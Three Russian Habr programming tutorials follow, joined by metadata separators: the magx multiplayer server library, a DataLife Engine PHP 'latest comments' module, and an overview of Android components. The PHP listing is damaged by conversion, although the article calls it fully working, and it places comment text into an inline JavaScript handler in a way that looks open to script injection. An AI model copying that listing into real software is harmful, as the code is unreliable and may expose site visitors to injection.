Многие разработчики начинают разработку многопользовательского онлайн сервера на основе библиотеки [socket.io](https://socket.io/). Эта библиотека позволяет очень просто реализовать обмен данными между клиентом и сервером в реальном времени, но продумать и реализовать всю логику и интерфейс взаимодействия сервера с клиентами, а также архитектуру масштабирования и оптимизацию трафика все равно придется.
Я хочу рассказать про библиотеку [magx](https://github.com/udamir/magx), используя которую можно не задумываться о сетевой составляющей (коммуникации сервера и клиентов), a сразу сконцентрироваться на разработке логики игры и клиентского UI.
При разработке архитектуры многопользовательсой игры обычно рассматриваются 2 подхода: с авторитарным сервером и не-авторитарным (авторитарным клиентом). Оба эти подхода поддерживаются библиотекой magx. Начнем с более простого подхода — не-авторитарного.
Не-авторитарный сервер
----------------------
Суть его в том, что сервер не контролирует результаты ввода каждого игрока. Клиенты самостоятельно отслеживают введенные игроком действия и игровую логику локально, после чего высылают результат определенного действия на сервер. После этого сервер синхронизирует все совершенные действия с игровым состоянием других клиентов.
Это легче реализовать с точки зрения архитектуры, так как сервер отвечает только лишь за коммуникацию между клиентами, не делая никаких дополнительных вычислений, которые делают клиенты.
С помощью библиотеки magx такой сервер можно реализовать всего в несколько строк кода:
```
import * as http from "http"
import { Server, RelayRoom } from "magx"
const server = http.createServer()
const magx = new Server(server)
magx.define("relay", RelayRoom)
// start server
const port = process.env.PORT || 3001
server.listen(port, () => {
console.info(`Server started on http://localhost:${port}`)
})
```
Теперь, чтобы подключить клиентов к этому серверу и начать их взаимодействие, достаточно установить js библиотеку:
`npm install --save magx-client`
и подключить ее к проекту:
```
import { Client } from "magx-client"
```
Также можно воспользоваться прямой ссылкой для использования в HTML:
После подключения, всего несколько строк позволят настроить соединение и взаимодействие с сервером:
```
// authenticate to server
await client.authenticate()
// create or join room
const rooms = await client.getRooms("relay")
room = rooms.length
? await client.joinRoom(rooms[0].id)
: await client.createRoom("relay")
console.log("you joined room", name)
// handle state patches
room.onPatch((patch) => updateState(patch))
// handle state snapshot
room.onSnapshot((snapshot) => setState(snapshot))
// handle joined players
room.onMessage("player_join", (id) => console.log("player join", id))
// handle left players
room.onMessage("player_leave", (id) => console.log("player leave", id))
```
Детальный пример как построить взаимодействие между клиентами и не-авторитарным сервером описано в соответствующем примере в проекте [magx-examples](https://github.com/udamir/magx-examples).
Авторитарный сервер
-------------------
В авторитарном сервере обработка и выполнение всех действий, затрагивающих игровой процесс, применение правил игры и обработки ввода от игроков-клиентов осуществляется на стороне сервера.
Клиент не может самостоятельно вносить какие-либо изменения в состояние игры. Вместо этого, он отправляет серверу, что конкретно он хочет сделать, сервер обрабатывает этот запрос, вносит изменения в состояние игры и отправляет обновленное состояние клиентам.
При таком подходе логика на клиенте сводится к минимуму, клиент начинает отвечать только за отрисовку состояния игры и обработку действий игрока. Преимущество такого подхода в том, что он значительно усложняет клиентам возможность использования нечестных приёмов (cheating).
Разработка авторитарного сервера требует описания состояния игры и правил взаимодействия игрока с этим состоянием на стороне сервера. В архитектуре сервере magx предполагается, что вся логика реализуется комнате (worker). Каждая комната фактически является отдельным сервером, к которому подключаются клиенты.
Данные/состояние каждой комнаты изолировано и синхронизируется только с клиентам комнаты. Одним из важнейших элементов авторитарного сервера — это система управления состоянием. [Mosx](https://github.com/udamir/mosx) — рекомендованная система управления состоянием, но архитектуре magx нет зависимости на какую-либо систему, поэтому выбор всегда остается за вами.
### Описание игрового состояния
Так как вся логика игры должна строиться на основе состояния, то первым делом необходимо его описать. С помощью mosx это сделать достаточно просто — необходимо создать классы для каждого типа объектов состояния и обернуть его декоратором @mx.Object, а перед каждым свойством, по которому необходимо отслеживать изменение состояния для синхронизации с клиентами необходимо поставить декоратор @mx. Давайте рассмотрим пример состояния с коллекцией игроков:
```
@mx.Object
export class Player {
@mx public x = Math.floor(Math.random() * 400)
@mx public y = Math.floor(Math.random() * 400)
}
@mx.Object
export class State {
@mx public players = new Map()
public createPlayer(id: string) {
this.players.set(id, new Player())
}
public removePlayer(id: string) {
this.players.delete(id)
}
public movePlayer(id: string, movement: any) {
const player = this.players.get(id)
if (!player) { return }
player.x += movement.x ? movement.x \* 10 : 0
player.y += movement.y ? movement.y \* 10 : 0
}
}
```
Единственное ограничение, которое необходимо учесть при проектировании состояния — необходимость использования Map() вместо вложенных объектов. Массивы (Array) и все примитивные типы (number, string, boolean) могут быть использованы без ограничений.
### Описание игровой комнаты
После описания состояния и логики его изменения необходимо описать логику взаимодействия с клиентами. Для этого необходимо создать класс комнаты и описать необходимые обработчики событий:
```
export class MosxStateRoom extends Room {
public createState(): any {
// create state
return new State()
}
public createPatchTracker(state: State) {
// create state change tracker
return Mosx.createTracker(state)
}
public onCreate(params: any) {
console.log("MosxStateRoom created!", params)
}
public onMessage(client: Client, type: string, data: any) {
if (type === "move") {
console.log(`MosxStateRoom received message from ${client.id}`, data)
this.state.movePlayer(client.id, data)
}
}
public onJoin(client: Client, params: any) {
console.log(`Player ${client.id} joined MosxStateRoom`, params)
client.send("hello", "world")
this.state.createPlayer(client.id)
}
public onLeave(client: Client) {
this.state.removePlayer(client.id)
}
public onClose() {
console.log("MosxStateRoom closed!")
}
}
```
### Регистрация комнаты на сервере
Последний шаг — зарегистрировать комнату и сервер готов.
```
const magx = new Server(server, params)
magx.define("mosx-state", MosxStateRoom)
```
Полный исходный код рассмотренного примера доступен в репозитарии [magx-examples](https://github.com/udamir/magx-examples).
Почему стоит обратить внимание на этот проект?
----------------------------------------------
В заключение хотел бы упомянуть о преимуществах используемых библиотек:
### Mosx
1. Простой и удобный способ описания состояния через декораторы @mx
2. Возможность применять декоратор @mx к вычисляемым свойствам.
3. Возможность создавать приватные объекты @mx.Object.private и приватные свойства @mx.private, с различным уровнем доступа для разных игроков.
4. Динамически изменять доступ игроков к приватным объектам.
5. Встроенный механизм объединения объектов в группы для удобного управления правами доступа к приватным данным
6. Возможность делать копию состояния для каждого игрока
7. Полная поддержка Typescript
8. Минимум зависимостей (на библиотеки [MobX](https://mobx.js.org/) и [patchpack](https://github.com/udamir/patchpack) — для сжатия пакетов)
### Magx
1. Простой и понятный API.
2. Широкие возможности по кастомизации компонент сервера:
* Механизм коммуникации клиента с сервером (по умолчанию используется webockets)
* База данных для хранения данных комнат и сессий пользователей (по умолчанию используется локальное хранилище)
* Механизм коммуникации серверов при масштабировании (из коробки реализован механизм коммуникации в кластере)
* Способ авторизации и верификации пользователей (по умолчанию используются локальный сессии)
3. Возможность работать в кластере из коробки
4. Встроенные комнаты: лобби и relay (для не авторитарного сервера)
5. JS Библиотека [Magx-client](https://github.com/udamir/magx-client) для работы с сервером
6. Мониторинговая консоль [magx-monitor](https://github.com/udamir/magx-monitor) для управления комнатами сервера, их клиентами и просмотр состояния
7. Полная поддержка Typescript
8. Минимум зависимостей (на библиотеку notepack.io — для уменьшения сетевого трафика)
Данный проект достаточно молодой и надеюсь внимание комьюнити поможет ему развиваться на много быстрее. | https://habr.com/ru/post/531898/ | null | ru | null |
# Создание простого модуля для CMS Datalife Engine (DLE)
Здравствуйте. Данный топик хочу посветить созданию простейшего модуля для популярной **CMS Datalife Engine**. В России, как впрочем и в странах СНГ она пользуется достаточно большой популярностью, однако на хабре статей об этой cms почему-то до сих пор нету. Я попытаюсь исправить это недоразумение. В этой статье вы узнаете о том, как сделать простейший модуль для этой CMS, а также познакомитесь со структурой движка.
#### Введение
Хотелось бы отметить, что система пользуется спросом у сайтов развлекательной тематики. Оно и понятно, система проста в использовании, имеет достаточное количество модулей и шаблонов. Да и почти все нужное есть «из коробки». Однако бывает, что чего-нибудь не хватает. Эту проблему мы постараемся решить.
#### Почему DLE?
Вы наверняка заинтересуетесь, почему я выбрал именно эту CMS. Ответ простой: достаточно логичная структура самого движка, отделение шаблонов от кода, довольно простой шаблонизатор, опять же довольно логичное размещение всего внутри — легко разобраться что к чему. Плюс к этому система остается относительно легкой и удобной. Она не так функциональна как, например, Друпал, но все же мне она нравится.
#### Структура
Для начала нам нужно знать кое-что о структуре движка. Нельзя творить на сервере бардак, поэтому мы будем хранить все в своих папках.
Модули для работы движка принято помещать в папку */engine/modules/*.
В папке */engine/inc/* находятся файлы панели администратора.
Начиная с версии 8.х появилось подключать модули прямо в шаблоне. Шаблон находится в папке /templates/имя\_шаблона/. В этой папке есть файл main.tpl Это корневой файл шаблона, обычно в нем расположена основная структура шаблона. Обычно модуль можно подключить так:
*{include file=«engine/modules/mod\_category.php»}*
Где mod\_category.php – файл, находящийся в категории /engine/modules/. Думаю с этим все понятно, поехали дальше.
Давайте сделаем модуль для вывода последних комментариев с кэшированием. Для этого создадим файл в папке /engine/modules/ и назовем его mod\_lastcomm.php Далее я привожу листинг кода этого файла с подробными комментариями.
#### Код
```
php
/* Проверяем на существование константы '<iDATALIFEENGINE'. Эта константа определяется в index.php
и ее значение TRUE символизирует о том, что файл подключен с помощью include/require, а не просто запущен. */
if(!defined('DATALIFEENGINE'))
{
die("Hacking attempt!");
}
/* Подключаем класс api, для того чтобы нам можно было использовать функции для работы с кэшем. */
include ('engine/api/api.class.php');
/* Пытаемся прочетать информацию, сохраненную в кэше с именем lastcomm. Рекомендую давать осмысленные имена
всему тому, что мы сохраняем в кэше. По сути **lastcomm** – это файл в папке */engine/cache/*,
а **60** – это время жизни кэша в секундах.
В данном случае, если с создания файла прошло больше времени, чем 60 секунд, то нам снова придется лезть в бд. */
$lastcomm=$dle_api->load_from_cache( "lastcomm", 60);
/* Проверяем – есть у нас кэш или нету. Если нету, то лезем в бд. */
if (!$lastcomm) {
/* Собственно запрос в бд. Он выполняется с помощью функции класса $db.
Константа PREFIX содержит префикс, указанный при установки cms.
Названия столбцов названы вполне нормально, я думаю не нужно объяснять что они делают.
Индефикатор запроса заносим в переменную $sql. */
$sql = $db->query("SELECT comments.post_id, comments.text, comments.autor, post.id, post.flag,
post.category, post.date as newsdate, post.title, post.alt_name
FROM " . PREFIX . "_comments as comments, " . PREFIX . "_post as post
WHERE post.id=comments.post_id
ORDER BY comments.date DESC LIMIT 0,20");
/* С помощью функции get_row() класса $db считываем последовательно каждую строку из результатов выборки.
Информация заносится в массив $row с индексами равными именам полей таблиц */
while ($row = $db->get_row($sql))
{
/* Если нужно обрезаем заголовок новости */
if (strlen($row['title']) > 50) {
$title = substr($row['title'], 0, 50)."...";
} else {
$title = $row['title'];
}
/* Формируем ссылку на профиль пользователя. Аналогично */
$aname=urlencode($row['autor']);
$name= "[". $row['autor'] .'](\"".$config['http_home_url']."user/".$aname."/\")';
/* Формируем текст комментария и если надо обрезаем его */
$text = htmlspecialchars($row['text']);
if (strlen($text) > 1024) $text= substr($text, 0, 1024)."...";
/* Формируем ссылку на новость. Массив $config содержит все настройки системы.
В частности $config['http_home_url'] - это урл домена. */
$newslink = $config['http_home_url'].$row['post_id']."-".$row['alt_name'].".html";
$hint = "onMouseover=\"showhint('$text', this, event, '');\"";
$title = "[".stripslashes($title)."](\"".$newslink."\" "\\"\".$text.\"\\"")";
/* Итоговая запись для одного комментария */
$lastcomm.="От $name в новости:
$title
";
}
$db->free();
/* Кэшируем полученные данные. Чтобы получше разобраться с функциями кэширования,
откройте файл 'engine/api/api.class.php' там отлично все закомментировано */
$dle_api->save_to_cache ( "lastcomm", $lastcomm);
}
/* Выводим полученный результат */
echo $lastcomm;
?>
```
#### Заключение
Данный код полностью рабочий. И в нем конечно же есть недостатки. Например не проверяется для ссылок — включено ли ЧПУ. Или при переходе по ссылке на профиль пользователя мы попадаем сразу в его профиль, а не на окошечко jQuery с краткой информацией. Вообщем есть что доработать. Но все эти вещи не были включены сюда только по одной причине — не дать запутаться новичку. Также советую проанализировать другие файлы, например topnews.php. Если у вас возникнут вопросы по написанию модулей или вообще по системе — я с радостью отвечу на них.
На этом у меня все, если эта тема кому-нибудь покажется интересной, то я сделаю цикл статей про cms Datalide Engine (DLE).
Ах да, это моя первая статья на хабре, поэтому извините если что не так. | https://habr.com/ru/post/130082/ | null | ru | null |
# Как рассказать об основных компонентах Android за 15 минут
Введение
========
В этой статье пойдет речь о том, как рассказать человеку, ранее не знакомому с программированием под Android, об основных его компонентах. Заинтересовать и показать, что все не так сложно, как многие думают. При этом сделать это за 15 минут и не уходя в объяснение какой-то базовой теории, которую каждый может прочитать сам и вернуться уже с уточняющими вопросами.
Когда я попробовал сделать это первый раз, был неприятно удивлен собой. Мое "простое и понятное" объяснение превратилось в занудство, в рамках которого четко прослеживалась отчаянная попытка объять необъятное и рассказать в двух словах обо всем понемногу. Нужно ли говорить, что такой рассказ скорее не заинтересует, а напугает Вашего собеседника, попутно уменьшив желание сделать что-то свое, даже если раньше в планах был небольшой калькулятор.
Не секрет, что в Интернете размещено огромное количество статей на эту тему, но в моем случае повествование будет немного отличаться: здесь будет только наглядная практика, без определений и прочих деталей. То есть смотрим — видим — комментируем происходящее. Смотрится, на мой взгляд, все достаточно просто и наглядно, куски кода получились тоже небольшие и очень простые, готовые к быстрому использованию в собственном проекте. Мне кажется, такой подход дает достаточно широкую обзорную картину классических инструментов Android, и при написании первого приложения вместо вопросов "что мне использовать" будут более конкретные вопросы "как именно мне использовать компонент Х". А уже все подробности об этом человек сможет узнать сам — если захочет.
Итак, поехали!
Изучаем компоненты
==================
Устанавливаем приложение, запускаем его, и… пока достаточно того, что перед нами открылось MainActivity. На вопрос "почему именно оно" ответ будет дан позднее.
Первым делом рассмотрим, откуда оно берется — из main\_activity.xml, где объявлены все элементы интерфейса. Размещены они в LinearLayout, поэтому вопросы здесь вряд ли возникнут.
**Посмотреть код**
```
...
```
Простые компоненты
------------------
### Toast
**Посмотреть картинку**
Теперь перейдем в MainActivity.java и первой кнопке его интерфейса — "Показать Toast" (всплывающее уведомление).
Находим идентификатор кнопки в main\_activity.xml и переходим к ее OnClickListener в MainActivity.java.
**Посмотреть код**
```
Button btn = findViewById(R.id.buttonShowToast);
btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Toast.makeText(getApplicationContext(), "This is a Toast", Toast.LENGTH_LONG).show();
}
});
```
Оказывается, чтобы вывести всплывающее уведомление, достаточно одной строки кода! Здорово, не правда ли?
### Взаимодействие с другим Activity
**Посмотреть картинку**Первая Activity
Вторая Activity
Теперь попробуем перейти куда-нибудь за пределы главной страницы приложения. Например, на другую такую страницу! Переходим во "Взаимодействие с другим Activity" — и мы попадаем в другую активность с другими элементами управления. Как разные активности в одном приложении передают данные между собой? Здесь самое время рассказать про два различных механизма: постоянное хранилище значений — shared\_prefs, а также startActivityForResult / onActivityResult (не хотелось вставлять такое в начало, но все-таки кратко: если из **открытой** активности запустить **новую** активность при помощи startActivityForResult, то по завершении **второй** активности будет вызван onActivityResult в **первой** активности. Не пугайтесь, если это пока не понятно).
И, конечно же, продемонстрировать на практике!
Запись в shared\_prefs:
**Посмотреть код**
```
String valueToSave = "test";
SharedPreferences.Editor editor = getSharedPreferences("demoapp", MODE_PRIVATE).edit();
editor.putString("myValue", valueToSave);
editor.apply();
```
Чтение из shared\_prefs:
**Посмотреть код**
```
SharedPreferences prefs = getSharedPreferences("demoapp", MODE_PRIVATE);
String storedValue = prefs.getString("myValue", "NOT_FOUND");
```
Пример с onActivityResult — см. в исходниках приложения.
### Сохранение и восстановление настроек
**Посмотреть картинку**
Раз мы упомянули про shared\_prefs, давайте с ними и закончим. Переходим в "Сохранение и восстановление настроек", где перед нами открывается типичная карточка типичного аккаунта с различными типами полей (отметим, что их тип задается всего лишь одной переменной — переключателем). Содержимое этих полей мы и будем сохранять в shared\_prefs, а затем восстанавливать их. Пока отдельной кнопкой, никаких onResume — до них мы еще не добрались!
Сохраняем:
**Посмотреть код**
```
SharedPreferences.Editor editor = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE).edit();
EditText et = findViewById(R.id.editTextName);
String name = et.getText().toString();
editor.putString("name", name);
editor.apply();
```
Восстанавливаем:
**Посмотреть код**
```
SharedPreferences prefs = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE);
EditText et = findViewById(R.id.editTextName);
et.setText(prefs.getString("name", ""));
...
```
### Простое меню
**Посмотреть картинку**
Следующий раздел — простое меню. Из него мы узнаем, что ничего сложного в нем нет — достаточно задать onCreateOptionsMenu и наполнить его структурой из my\_menu.xml.
**Посмотреть код**
```
@Override
public boolean onCreateOptionsMenu(Menu menu) {
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.my_menu, menu);
return true;
}
```
### Всплывающее меню
Сразу за ним — всплывающее по кнопке меню. Оно уже интереснее предыдущего хотя бы наличием памяти настроек и наличием подменю.
Код всплывающего меню можно посмотреть в исходниках приложения.
### Аудиоплеер
**Посмотреть картинку**
На примере Аудиоплеера, помимо того, что ничего сложного в проигрывании музыки нет, можно продемонстрировать привязку seekBar к чему-либо, в данном случае — к текущей позиции медиаплеера. В регулировке громкости — тоже ничего сверхъестественного. Бонусом показана ошибка. Откроем активити с медиаплеером, запустим воспроизведение и нажмем кнопку "Назад". Музыка продолжает играть, и ее уже не остановить… Проблема! Как ее решить — узнаем чуть позже.
Код аудиоплеера можно посмотреть в исходниках приложения.
### Веб-браузер
Ну и в заключение первой части покажем, что в веб-браузере тоже ничего божественного нет.
**Посмотреть картинку**
**Посмотреть код**
```
WebView view = findViewById(R.id.webView);
view.setWebViewClient(new WebViewClient());
view.getSettings().setJavaScriptEnabled(true);
view.getSettings().setCacheMode(WebSettings.LOAD_NO_CACHE);
view.loadUrl("https://google.com");
```
Следующая часть уже сложнее.
Сервисы и уведомления
---------------------
### BroadcastReceiver
**Посмотреть картинку**
Вспомним, как мы передавали результат из одной активности в другую. Там каким-то образом (мы пока не знаем, каким) получилось, что при закрытии второго активити результат прилетел в onActivityResult первого. А можем ли мы так передать результат куда угодно в пределах нашего приложения? Да, можем объявить и зарегистрировать слушателя, который услышит нас из любой точки программы. Такой слушатель называется BroadcastReceiver'ом.
**Посмотреть код**
```
public BroadcastReceiver MyReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
Toast.makeText(getApplicationContext(), "Broadcast receiver: received!", Toast.LENGTH_LONG).show();
}
};
```
Здесь уже не обойтись без интентов, но на самом примитивном уровне: пока нам достаточно факта, что они есть, отправляются в некую общую шину, и что по заранее заданному action'y BroadcastReceiver услышит нас, где бы мы ни находились.
**Посмотреть код**
```
IntentFilter filter = new IntentFilter();
filter.addAction("MyCustomActionName");
registerReceiver(MyReceiver, filter);
sendBroadcast(new Intent("MyCustomActionName"));
```
На данный момент имеем базовое представление, что такое Receiver, но зачем он нужен, не понятно: это нормально, и сейчас станет легче.
### Простой сервис
**Посмотреть картинку**
Плавно переходим к сервису, где BroadcastReceiver и найдет свое полноценное применение. И вместо попытки в двух словах рассказать, что такое Android-сервис, я предлагаю сразу приступить к демонстрации. Запустим сервис, который начинает свою работу в фоновом режиме. Вместе с этим зарегистрируем два Receiver'a: один в Activity и один в Service.
Receiver в Service нужен для демонстрации того, что, несмотря на фоновое выполнение, мы всегда сможем достучаться до него из Activity.
**Посмотреть код**
```
public BroadcastReceiver MyServiceReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
Toast.makeText(getApplicationContext(), "Toast from Service: I hear you!", Toast.LENGTH_LONG).show();
}
};
```
Receiver в Activity нужен для вывода результатов работы сервиса в TextView.
**Посмотреть код**
```
public BroadcastReceiver MyPrintReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
Toast.makeText(getApplicationContext(), "pong", Toast.LENGTH_SHORT).show();
TextView tv = findViewById(R.id.textViewSimpleServiceStatus);
String msg = intent.getStringExtra("msg");
tv.setText(msg);
}
};
```
И, для полного понимания, при отправке сообщения из сервиса в Activity будем выводить Toast("ping"). А при получении сообщения в Activity и фактической отрисовке значения в TextView будем выводить Toast("pong").
Пусть основная задача сервиса — отправлять такие "пинги" в активность, а задача активности — просто их отображать в своем интерфейсе.
**Посмотреть код**
```
Handler handler = new Handler();
runnable = new Runnable() {
public void run() {
if (running) {
printMsg("Service is still running " + running);
handler.postDelayed(runnable, 5000); // создает цикл
} else {
printMsg("Service exited");
}
}
};
handler.postDelayed(runnable, 5000);
```
Пример работы handler мы детально рассмотрим позже, на данный момент это лишь средство отправки ping каждые 5 секунд.
И вот теперь, после запуска сервиса, мы видим Toast("Service created!") и пошли ping-pong уведомления. А в TextView начали поступать сообщения из сервиса.
Отлично, фоновое выполнение мы увидели. А теперь закроем приложение! На последних версиях Андроид мы увидим следующее: сервис перезапустился (появится Toast("Service created!")) и пошли "пинги". При этом "понгов" нет — ведь больше нет активити, которое их обрабатывает! Спустя несколько секунд на моем смартфоне прекращаются и пинги. Сервис уничтожается. Открываем настройки энергопотребления, отключаем оптимизацию для нашего приложения и проделываем процедуру заново. Теперь сервис не уничтожается, и даже после закрытия программы мы видим стабильно поступающие "пинги". Но, понятное дело, здесь никакой гарантии нет, и такой сервис проживет очень не долго. С точки зрения разработчика это может быть ужасно, но давайте посмотрим на это глазами простого пользователя: хотим ли мы, чтобы любое приложение могло вот так свободно и безнаказанно работать в фоне, поедая аккумулятор? Вряд ли. Как же тогда полноценно работать в фоне?
Для этого нужно лишь уведомлять об этом пользователя. Это обязательное требование Android, который, при наличии канала уведомлений, позволяет запустить уже не обычный, а Foreground-сервис, который будет полноценно работать в фоне без риска быть убитым на ровном месте.
Добавим в onCreate нашего сервиса:
**Посмотреть код**
```
String CHANNEL_ID = "my_channel_01";
NotificationChannel channel = new NotificationChannel(CHANNEL_ID,
"Channel human readable title",
NotificationManager.IMPORTANCE_DEFAULT);
((NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE)).createNotificationChannel(channel);
Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
.setContentTitle("")
.setContentText("").build();
startForeground(1, notification);
```
И будем запускать его командой:
**Посмотреть код**
```
startForegroundService(new Intent(getApplicationContext(), TestServiceForeground.class));
```
Вернемся в наше демо-приложение, вернем настройки энергосбережения в исходное состояние. И запустим теперь уже Foreground сервис. Закрывая приложение при запущенном сервисе, обратим внимание, что сервис уже не перезапускается и не уничтожается, а просто стабильно продолжает работать в фоне, отправляя каждые 5 секунд свои "пинги". При этом в уведомлениях будет висеть его значок.
**Посмотреть картинку**
Пользователь сможет скрыть эти уведомления, если захочет, но скрыть их программно в момент создания канала уведомлений нельзя.
### Плавающая кнопка (Overlay)
**Посмотреть картинку**
Зная, что такое сервис, можно перейти к наиболее простому и очевидному его применению — работе с плавающими кнопками. На актуальных Андроидах нельзя просто так объявить права на отрисовку Overlays — нужно явно запросить у пользователя разрешение "Поверх всех окон". После чего нажимаем Draw Overlay и видим плавающую иконку, за которой на самом деле стоит сервис, слушающий нажатия на нее.
### Отправка уведомлений
**Посмотреть картинку**
Еще одна важная возможность, которая наверняка пригодится в большинстве Андроид-приложений, это отправка уведомлений пользователю. Рассмотрим кратко, как это работает. Для начала (на актуальных Андроидах) нам требуется создать канал уведомлений — да-да, один из тех, которые имеются как правило в большом количестве у современных приложений.
**Посмотреть код**
```
private void createNotificationChannel() {
try {
CharSequence channelName = CHANNEL_ID;
String channelDesc = "channelDesc";
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
int importance = NotificationManager.IMPORTANCE_LOW;
NotificationChannel channel = new NotificationChannel(CHANNEL_ID, channelName, importance);
channel.setDescription(channelDesc);
NotificationManager notificationManager = getSystemService(NotificationManager.class);
assert notificationManager != null;
NotificationChannel currChannel = notificationManager.getNotificationChannel(CHANNEL_ID);
if (currChannel == null) {
notificationManager.createNotificationChannel(channel);
Toast.makeText(getApplicationContext(), "channel created", Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(getApplicationContext(), "channel exists", Toast.LENGTH_SHORT).show();
}
}
} catch (Exception e) {
}
}
```
Ну а затем можно без ограничений отправлять в него уведомления.
**Посмотреть код**
```
public void setNotify() {
try {
Intent snoozeIntent = new Intent("ActionFromNotify");
PendingIntent snoozePendingIntent =
PendingIntent.getBroadcast(this, 0, snoozeIntent, 0);
String title = "Start";
Intent intent = new Intent(this, MainActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
NotificationCompat.Action action = new NotificationCompat.Action.Builder(R.drawable.ic_launcher_background, title, snoozePendingIntent).build();
NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(this, CHANNEL_ID)
.setSmallIcon(R.drawable.ic_launcher_background)
.setContentTitle("MyNotification")
.setContentText("Text here")
.setPriority(NotificationCompat.PRIORITY_LOW)
.setContentIntent(null)
.setOngoing(true) // нельзя смахнуть
.setSound(null)
.addAction(action);
NotificationManagerCompat notificationManager = NotificationManagerCompat.from(this);
int notificationId = (int) (System.currentTimeMillis() / 4);
notificationManager.notify(notificationId, mBuilder.build());
} catch (Exception e) {
Log.e("error", e.toString());
}
}
```
### Сервис с отправкой уведомлений
**Посмотреть картинку**
Отправка уведомлений прямо из активити, согласитесь, не очень впечатляет. Мы все же привыкли к другому. Но что мы пока знаем про фоновое выполнение? Только то, что там есть сервисы. Так не будем же спешить и сделаем простой сервис (даже не Foreground — для простоты), отправляющий новое уведомление каждые 5 секунд. Согласитесь, это уже симпатичнее и больше впечатляет, чем просто отправка уведомлений по кнопке.
В качестве небольшой паузы после сложных на первый взгляд сервисов (если вы никогда ранее с ними не встречались), рассмотрим четыре несложных для понимания элементов управления. А затем снова перейдем к сложному материалу — к потокам.
Дополнительные компоненты
-------------------------
### Таблица с данными
**Посмотреть картинку**
Начнем нашу паузу с таблицы с данными. Изучение исходного кода оставим на усмотрение читателю.
### Окно с вкладками
**Посмотреть картинку**
Следующая остановка — окно с вкладками. При помощи нехитрого TabView можно разместить несколько активити на одном экране.
**Посмотреть код**
```
public class TabsActivity extends TabActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.tabs_activity);
// получаем TabHost
TabHost tabHost = getTabHost();
TabHost.TabSpec tabSpec;
tabSpec = tabHost.newTabSpec("tag1");
tabSpec.setIndicator("Один");
tabSpec.setContent(new Intent(this, SaveRestorePrefsActivity.class));
tabHost.addTab(tabSpec);
tabSpec = tabHost.newTabSpec("tag2");
tabSpec.setIndicator("Два");
tabSpec.setContent(new Intent(this, FloatingMenuActivity.class));
tabHost.addTab(tabSpec);
...
}
}
```
### Вывод объектов-структур: Fragment и таблица
Вывод объектов-структур можно сделать фрагментами и таблицей.
Вот так выглядит заполнение фрагментами
**Посмотреть картинку**
А вот так таблицей
**Посмотреть картинку**
### Жизненный цикл Activity
**Посмотреть картинку**
Плавно завершая нашу паузу, переходим к жизненному циклу активити. Здесь самое время узнать, что кроме onCreate существует ряд других методов. Небольшой кусок кода и всплывающие уведомления поначалу помогут понять их лучше каких-либо объяснений.
**Посмотреть код**
```
@Override
protected void onResume() {
super.onResume();
Toast.makeText(getApplicationContext(), "onResume - активити на переднем плане", Toast.LENGTH_SHORT).show();
}
@Override
protected void onDestroy() {
super.onDestroy();
Toast.makeText(getApplicationContext(), "onDestroy - уничтожение активити", Toast.LENGTH_SHORT).show();
}
@Override
protected void onPause() {
super.onPause();
Toast.makeText(getApplicationContext(), "onPause - активити больше не на переднем плане", Toast.LENGTH_SHORT).show();
}
```
Это же касается и OnTouchListener'ов, и onTextChanged.
**Посмотреть код**
```
CheckBox cb = findViewById(R.id.checkBoxChangeExample);
cb.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
printMsg("CheckBox - OnCheckedChangeListener: new value is checked = " + isChecked);
}
});
SeekBar seekBar = (SeekBar) findViewById(R.id.seekBarChangeExample);
seekBar.setMax(100);
seekBar.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
Integer progress = ((SeekBar)v).getProgress();
printMsg("SeekBar - OnTouchListener: new value is = " + progress.toString());
return false;
}
});
```
Отложенное, параллельное и регулярное выполнение
------------------------------------------------
Переходим к наиболее сложной части повествования — отложенному и параллельному выполнению.
### Отложенное выполнение: Handler
**Посмотреть картинку**
Начнем погружение с Handler. Что такое handler во всех деталях — человек позже прочитает сам, не будем лишать его этого удовольствия. Но, так как мы его рассматриваем, важно знать основное — что он позволяет выполнить отложенную задачу, причем делает это не параллельно.
Покажем это. Создадим handler, добавим в него задачу "вывести Toast через 5 секунд". Видим, что Toast был выведен и никаких sleep'ов (приостановок выполнения всей программы) не потребовалось.
**Посмотреть код**
```
Handler handler = new Handler();
Runnable r = new Runnable() {
public void run() {
Toast.makeText(getApplicationContext(), "Delayed task executed", Toast.LENGTH_SHORT).show();
}
};
handler.postDelayed(r, 5000);
```
Теперь добавим в handler циклическую задачу:
**Посмотреть код**
```
Runnable r = new Runnable() {
public void run() {
Toast.makeText(getApplicationContext(), "Delayed task executed", Toast.LENGTH_SHORT).show();
handler.postDelayed(this, 5000); // создает цикл
}
};
handler.postDelayed(r, 5000);
```
Убедившись, что она выполняется каждые 5 секунд, очищаем Handler
**Посмотреть код**
```
handler.removeCallbacksAndMessages(null);
```
Осталось продемонстрировать, что выполнение задач из Handler происходит не параллельно. Проще всего показать это, нагрузив его чем-то тяжелым и одновременно простым. Таким, как… while(true) без sleep! Секунд на десять, чтобы не убивать совсем приложение.
**Посмотреть код**
```
Runnable r = new Runnable() {
public void run() {
long initTime = System.currentTimeMillis();
boolean timeElapsed = false;
while(!timeElapsed){
if(System.currentTimeMillis() - initTime > 10000 ){
timeElapsed = true; // очень ресурсоемкая функция, так делать нельзя! (тут сделано специально, чтобы съесть все ресурсы). В обычных приложениях в бесконечных циклах обязательно добавляют sleep
}
}
}
};
Toast.makeText(getApplicationContext(), "Hard Delayed task started", Toast.LENGTH_SHORT).show();
handler.postDelayed(r, 100);
```
